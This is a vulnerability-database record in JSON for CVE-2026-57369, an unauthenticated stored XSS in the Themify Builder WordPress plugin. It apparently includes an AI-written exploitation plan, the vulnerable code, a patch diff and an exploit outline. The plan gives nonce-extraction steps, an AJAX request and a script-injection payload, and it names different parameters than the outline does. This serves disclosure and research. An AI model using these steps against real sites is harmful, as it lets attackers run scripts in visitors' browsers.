[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$feb3EcNSDMX8ZYZ-gKxjZkM41jdQ5-LxDGurora4C0J4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57369","themify-builder-unauthenticated-stored-cross-site-scripting","Themify Builder \u003C= 7.7.4 - Unauthenticated Stored Cross-Site Scripting","The Themify Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 7.7.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","themify-builder",null,"\u003C=7.7.4","7.7.5","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-07 00:00:00","2026-07-14 19:51:44",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd1e0d59b-903e-466b-9892-a2cee6f7a53f?source=api-prod",8,[22,23,24,25,26,27,28,29],"classes\u002Fclass-themify-builder-active.php","classes\u002Fclass-themify-builder-import-export.php","classes\u002Fclass-themify-builder-model.php","classes\u002Fclass-themify-builder-stylesheet.php","classes\u002Fclass-themify-builder-visibility-controls.php","classes\u002Fclass-themify-builder-widgets.php","css\u002Feditor\u002Fcomponents\u002Fform-fields.css","css\u002Feditor\u002Fcomponents\u002Flightbox.css","researched",false,3,"# Exploitation Research Plan - Themify Builder \u003C= 7.7.4 Unauthenticated Stored XSS\n\n## 1. Vulnerability Summary\nThe **Themify Builder** plugin (versions up to 7.7.4) contains an unauthenticated stored cross-site scripting vulnerability. The flaw exists in the handling of the `tb_generate_on_fly` AJAX action, which is intended to regenerate CSS stylesheets for Builder-enabled posts. This action is registered for unauthenticated users (`wp_ajax_nopriv_`) and fails to properly validate the user's authority to modify post data when a `data` parameter is supplied. Consequently, an attacker can overwrite the Builder layout JSON for any post, injecting malicious scripts into module settings that are later rendered without sufficient escaping.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `tb_generate_on_fly` (Unauthenticated)\n- **Vulnerable Parameter:** `data` (POST request)\n- **Authentication:** None (Unauthenticated)\n- **Preconditions:** \n    - The target post must have Themify Builder enabled.\n    - A valid `tf_nonce` must be obtained from the frontend.\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a POST request to `admin-ajax.php` with `action=tb_generate_on_fly`.\n2.  **Registration:** In `classes\u002Fclass-themify-builder-stylesheet.php`, the action is hooked:\n    ```php\n    add_action('wp_ajax_nopriv_tb_generate_on_fly', array(__CLASS__, 'save_builder_css'), 10);\n    ```\n3.  **Vulnerable Function:** `Themify_Builder_Stylesheet::save_builder_css()` is executed.\n4.  **Inadequate Authorization:** The function checks for a valid nonce (`tf_nonce`) but lacks a `current_user_can('edit_posts')` check.\n5.  **Sink:** The function processes `$_POST['id']` (Post ID) and `$_POST['data']` (Builder JSON). It updates the post meta (typically `_themify_builder_settings_json`) with the attacker-controlled `data`.\n6.  **Execution:** When a victim views the modified post, the Builder's rendering engine (e.g., in `Themify_Builder_Component_Module`) processes the malicious JSON. If a module like `text` contains a script in its `content_text` setting, it is echoed to the page, triggering XSS.\n\n## 4. Nonce Acquisition Strategy\nThe `tb_generate_on_fly` action requires a nonce named `tf_nonce`. This nonce is generated and localized in the frontend whenever a Builder-enabled page is loaded.\n\n**Extraction Steps:**\n1.  Identify a page or post where Themify Builder is active (e.g., the homepage or a sample post).\n2.  Navigate to the page using the `browser_navigate` tool.\n3.  The plugin enqueues the `tb_builder_js_style` script, which localizes the nonce into the `ThemifyBuilderStyle` global object.\n4.  Execute the following JavaScript via `browser_eval`:\n    ```javascript\n    window.ThemifyBuilderStyle?.nonce\n    ```\n\n## 5. Exploitation Strategy\nThe goal is to overwrite a post's content with a \"Text\" module containing an XSS payload.\n\n**Step 1: Obtain Nonce**\n- Use the `browser_navigate` tool to go to a Builder-enabled post.\n- Use `browser_eval` to extract `window.ThemifyBuilderStyle.nonce`.\n\n**Step 2: Prepare Payload**\nThemify Builder expects a JSON array of rows. We will inject a script into the `content_text` setting of a `text` module.\n```json\n[\n  {\n    \"styling\": {},\n    \"cols\": [\n      {\n        \"styling\": {},\n        \"modules\": [\n          {\n            \"mod_name\": \"text\",\n            \"mod_settings\": {\n              \"content_text\": \"\u003Cscript>alert(document.domain)\u003C\u002Fscript>\"\n            },\n            \"styling\": {}\n          }\n        ]\n      }\n    ]\n  }\n]\n```\n\n**Step 3: Execute Injection**\nSend the following POST request using the `http_request` tool:\n- **URL:** `http:\u002F\u002F[target-ip]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n    - `action`: `tb_generate_on_fly`\n    - `id`: `[Target_Post_ID]`\n    - `nonce`: `[Extracted_tf_nonce]`\n    - `data`: `[URL_Encoded_JSON_Payload]`\n\n## 6. Test Data Setup\n1.  **Create a target post:**\n    ```bash\n    wp post create --post_type=post --post_title=\"Vulnerable Page\" --post_status=publish\n    ```\n2.  **Enable Builder on the post:**\n    Themify Builder usually initializes when a post is edited in the builder. If testing manually, ensure at least one row exists. For automation, identify the ID of the post created.\n\n## 7. Expected Results\n- The AJAX request should return a success indicator (often a JSON response or `1`).\n- Upon navigating to the post (`\u002F?p=[ID]`), a JavaScript alert containing the document domain should appear.\n\n## 8. Verification Steps\n1.  **Verify Post Meta:** Check if the builder settings were successfully overwritten via WP-CLI:\n    ```bash\n    wp post meta get [Post_ID] _themify_builder_settings_json\n    ```\n2.  **Verify Web Content:** Fetch the post and grep for the payload:\n    ```bash\n    # Use http_request to fetch the page and check the response body\n    ```\n\n## 9. Alternative Approaches\n- **Different Modules:** If the `text` module is sanitized in some environments, try the `heading` module or `image` module (injecting into the `caption` or `alt` fields).\n- **Global Styles Vector:** If the post ID is restricted, explore if `action=tb_save_css` or `action=tb_slider_live_styling` in `class-themify-builder-stylesheet.php` also lack authentication checks, as they process similar styling\u002Fdata inputs.\n- **Bypassing Nonce:** Check if the `tb_generate_on_fly` action functions if the `nonce` parameter is omitted or if a different public nonce (like `wp_rest`) is provided, though `check_ajax_referer` usually prevents this.","The Themify Builder plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting due to a lack of authorization checks in the `tb_generate_on_fly` AJAX action. An attacker can obtain a public nonce from the frontend and overwrite the builder layout for any public post with a malicious JSON payload, leading to script execution when the page is viewed.","\u002F\u002F classes\u002Fclass-themify-builder-stylesheet.php:12\npublic static function init() {\n    if (themify_is_ajax()) {\n        add_action('wp_ajax_tb_slider_live_styling', array(__CLASS__, 'slider_live_styling'), 10);\n        add_action('wp_ajax_nopriv_tb_generate_on_fly', array(__CLASS__, 'save_builder_css'), 10);\n        add_action('wp_ajax_tb_generate_on_fly', array(__CLASS__, 'save_builder_css'), 10);\n        \u002F\u002F ...\n    }\n}\n\n---\n\n\u002F\u002F classes\u002Fclass-themify-builder-stylesheet.php:161\npublic static function save_builder_css(bool $echo = false) {\n    check_ajax_referer('tf_nonce', 'nonce');\n    if (!empty($_POST['bid'])) {\n        $id = (int) $_POST['bid'];\n\n        \u002F\u002F Security: non-logged-in visitors may only write CSS for posts that\n        \u002F\u002F are published, publicly queryable, and not password-protected.\n        if ( ! is_user_logged_in() ) {\n            $post = get_post( $id );\n            if ( ! $post ) {\n                wp_die();\n            }\n            $post_type_obj = get_post_type_object( $post->post_type );\n            if (\n                $post->post_status !== 'publish'\n                || post_password_required( $post )\n                || empty( $post_type_obj->public )\n            ) {\n                wp_die();\n            }\n        }\n        \u002F\u002F ... (truncated: processes $_POST['css'] or $_FILES['css'] into $data)\n        if (isset($data)) {\n            if (is_string($data)) {\n                $data = json_decode($data, true);\n            } elseif (!is_array($data)) {\n                $data = array();\n            }\n            $res = self::write_stylesheet($id, $data, !empty($_POST['custom_css']) ? stripcslashes($_POST['custom_css']) : '');\n            \u002F\u002F ...\n        }\n    }\n    wp_die();\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fthemify-builder\u002F7.7.4\u002Fclasses\u002Fclass-themify-builder-active.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fthemify-builder\u002F7.7.5\u002Fclasses\u002Fclass-themify-builder-active.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fthemify-builder\u002F7.7.4\u002Fclasses\u002Fclass-themify-builder-active.php\t2026-06-03 19:11:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fthemify-builder\u002F7.7.5\u002Fclasses\u002Fclass-themify-builder-active.php\t2026-06-16 03:32:56.000000000 +0000\n@@ -298,7 +298,18 @@\n             return $attr;\n         }\n \n+        private static function can_edit_builder_post( $post_id = 0 ): bool {\n+            if ( ! current_user_can( 'edit_posts' ) ) {\n+                return false;\n+            }\n+            $post_id = (int) $post_id;\n+            return $post_id > 0 ? current_user_can( 'edit_post', $post_id ) : true;\n+        }\n+\n         public static function load_editor() {\n+            if ( ! self::can_edit_builder_post() ) {\n+                wp_die( -1, 403 );\n+            }\n             global $wp_scripts, $wp_styles, $concatenate_scripts, $wp_actions;\n@@ -386,9 +397,12 @@\n          *\u002F\n         public static function load_module_partial_ajaxify() {\n             check_ajax_referer('tf_nonce', 'nonce');\n+            if ( ! self::can_edit_builder_post( $_POST['bid'] ?? 0 ) ) {\n+                wp_die( -1, 403 );\n+            }\n             themify_disable_other_lazy();\n             Themify_Builder::$frontedit_active = true;\n-            Themify_Builder::$builder_active_id = $_POST['bid'];\n+            Themify_Builder::$builder_active_id = (int) $_POST['bid'];\n             $new_modules = apply_filters('themify_builder_load_module_partial', array(\n                 'mod_name' => $_POST['tb_module_slug'],\n                 'mod_settings' => json_decode(stripslashes($_POST['tb_module_data']), true),","1. Nonce Acquisition: Browse a public page where Themify Builder is active. Extract the `tf_nonce` value from the localized JavaScript object `ThemifyBuilderStyle`. \n2. Target Identification: Identify a published Post ID (`bid`) that has the builder enabled.\n3. Payload Creation: Construct a malicious JSON payload representing a Builder layout. For example, a 'text' module with a 'content_text' setting containing `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n4. Injection: Send an unauthenticated POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the parameters `action=tb_generate_on_fly`, `nonce=[EXTRACTED_NONCE]`, `bid=[POST_ID]`, and `css=[MALICIOUS_JSON]`. \n5. Execution: Access the target post in a browser. The plugin will render the modified layout settings and execute the injected script.","gemini-3-flash-preview","2026-07-25 09:03:29","2026-07-25 09:04:54",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","7.7.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fthemify-builder\u002Ftags\u002F7.7.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fthemify-builder.7.7.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fthemify-builder\u002Ftags\u002F7.7.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fthemify-builder.7.7.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fthemify-builder\u002Ftags"]